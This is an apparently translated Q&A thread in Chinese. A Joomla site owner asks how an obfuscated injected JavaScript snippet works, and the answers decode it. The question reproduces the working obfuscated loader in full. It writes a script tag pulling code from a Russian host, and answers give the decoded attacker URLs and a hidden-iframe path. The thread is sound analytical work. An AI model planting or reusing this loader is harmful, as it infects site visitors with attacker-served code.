100

我的 Joomla!网站多次被黑。不知何故,有人设法将以下垃圾注入到关键的 php 脚本中,但我的意思是不要谈论配置 Joomla。该站点的访问量并不多(有时我担心我可能是该站点的唯一访问者......)并且我不太关心该站点是否可以备份和运行。我最终会处理的。

我的问题是,这些垃圾是如何工作的?我看着它,我只是不明白这如何造成任何伤害?它的作用是尝试下载一个名为 ChangeLog.pdf 的 PDF 文件,该文件感染了木马,打开后会冻结您的 Acrobat 并对您的计算机造成严重破坏。它是怎么做到的,我不知道,我不在乎。但是下面这段脚本是如何调用下载的呢?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET已将此代码检测为JS/TrojanDownloader.Agent.NRO 木马

4

7 回答 7

182

注意replace巨大凌乱的字符串之后的调用:.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')

它删除了大部分特殊字符,将其转换为普通 URL:

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(我手动http:改为evil:

请注意,正则表达式可以简化为.replace(/[#$@^&()!]/ig, '')

如果您查看脚本,您会发现它是一个非常简单的脚本,它注入了一个隐藏的 IFRAME,其中包含/index.php?ys来自同一域的路径。

我在 Fiddler 中请求了该页面,但它没有内容。

于 2010-01-22T14:15:02.207 回答
34

这些答案可能会帮助您了解恶意 JavaScript 代码的性质,但您应该寻找一种方法来关闭 Joomla 引擎中的固有漏洞。预打包的框架容易出现漏洞,无论是有意的还是无意的,尤其是当您考虑到它们被设计用于在 unix、mac 和 windows 环境中工作时。

我的工作需要我在多种类型的服务器和系统上为客户和我自己运行许多域、应用程序和框架。随着时间的推移,我看到越来越多的机器人在这些系统中爬行,通过这些框架创建的后门入口来寻找已知的漏洞/入口。当我使用任何类型的框架时,我很少这样做,这是一件好事,如果不是整个文件结构,我会确保重命名大部分文件结构,以摆脱那些讨厌的漏洞/后门。至少您可以重命名目录,这将摆脱大多数机器人,但我的方法是完全消除提供有关框架性质线索的引用,其中包括重命名整个文件结构而不仅仅是目录。始终保持新命名约定相对于旧命名约定的映射,以便快速将插件添加到您的基础框架。一旦掌握了这一点,您就可以以编程方式重命名整个框架文件结构以获得更快的结果,这在处理需要能够使用插件等更新其框架的客户时特别有用。

于 2010-01-22T23:38:31.383 回答
20

它只是在脚本 url 上进行正则表达式替换来给你

注意:请勿点击以下链接(插入**以阻止复制粘贴)

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

作为src

于 2010-01-22T14:13:20.443 回答
8

它使用replace函数使用正则表达式替换垃圾字符,代码没有错:

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
于 2010-01-22T14:14:15.683 回答
7

它的加载脚本来自

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

并且该脚本iframe从可见性加载hidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys
于 2010-01-22T14:15:16.260 回答
2

当您阅读整个内容时,您会发现它是一个字符串,后跟一个替换命令。

于 2010-01-22T14:15:09.593 回答
2

我的两分钱。您/您是否可以安装 Joomla 备份工具,例如 Joomlapack?

我已将其设置为通过 CHRON 脚本运行,以便在抢劫者进行抢劫时将货物放在手边。

您正在运行什么版本的 Joomla?

1.0.X 版本不再更新,它的时代已经开始显现。您应该自己做一个备份并计划升级到 1.5 并期待 1.6 的奇迹

于 2010-02-13T05:11:34.057 回答